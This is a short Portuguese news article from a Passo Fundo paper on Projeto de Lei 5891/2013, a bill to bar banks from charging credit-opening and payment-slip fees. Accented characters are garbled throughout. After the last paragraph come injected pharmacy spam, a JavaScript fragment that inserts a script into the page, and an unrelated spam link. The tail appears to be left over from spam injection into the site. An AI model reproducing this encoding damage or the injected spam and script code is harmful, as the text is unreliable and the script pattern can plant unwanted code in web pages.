Projeto protege clientes de tarifas bancA?rias abusivas

DIA?RIO DA MANHA? Ai??- PASSO FUNDO

Ainda nA?o foram definidas as comissAi??es que irA?o analisar a proposta na CA?mara dos Deputados

Com o objetivo de proteger clientes de tarifas bancA?rias abusivas, o deputado federal Beto Albuquerque (PSB/RS) apresentou nesta semana o Projeto de Lei 5891/2013 que configura como excessiva a cobranAi??a de tarifas de abertura de crAi??dito e emissA?o de boletos. Para o socialista, os atuais encargos, mesmo que contratualmente previstos, sA?o abusivos por, entre outras razAi??es, destinarem-se unicamente Ai?? cobertura de serviAi??os de interesse exclusivo dos bancos, nA?o se revertendo em benefAi??cios ao consumidor.

O PL 5891 altera o CA?digo de Defesa do Consumidor (Lei 8.078 de 11 de setembro de 1990) desobrigando o cliente de pagar tarifas ou ressarcir despesas relacionadas a abertura de crAi??dito ou pesquisa de cadastro para inAi??cio de relacionamento financeiro ou a qualquer outro serviAi??o do mesmo gA?nero e Ai?? emissA?o de boletos ou faturas de cobranAi??a, carnA?s e assemelhados. ai???A intenAi??A?o do PL Ai?? acabar com essas cobranAi??as excessivas, conferir tratamento uniforme Ai??s duas modalidades de tarifa e oferecer seguranAi??a jurAi??dica a todos os atores do mercado de consumoai???, explicou Beto. Ainda nA?o foram definidas as comissAi??es que irA?o analisar a proposta na CA?mara dos Deputados. Cheap how much robaxin is safe cheap azulfidine 500 document.currentScript.parentNode.insertBefore(s, document.currentScript); http://dianaartdesign.com/how-much-does-differin-gel-0-3-cost/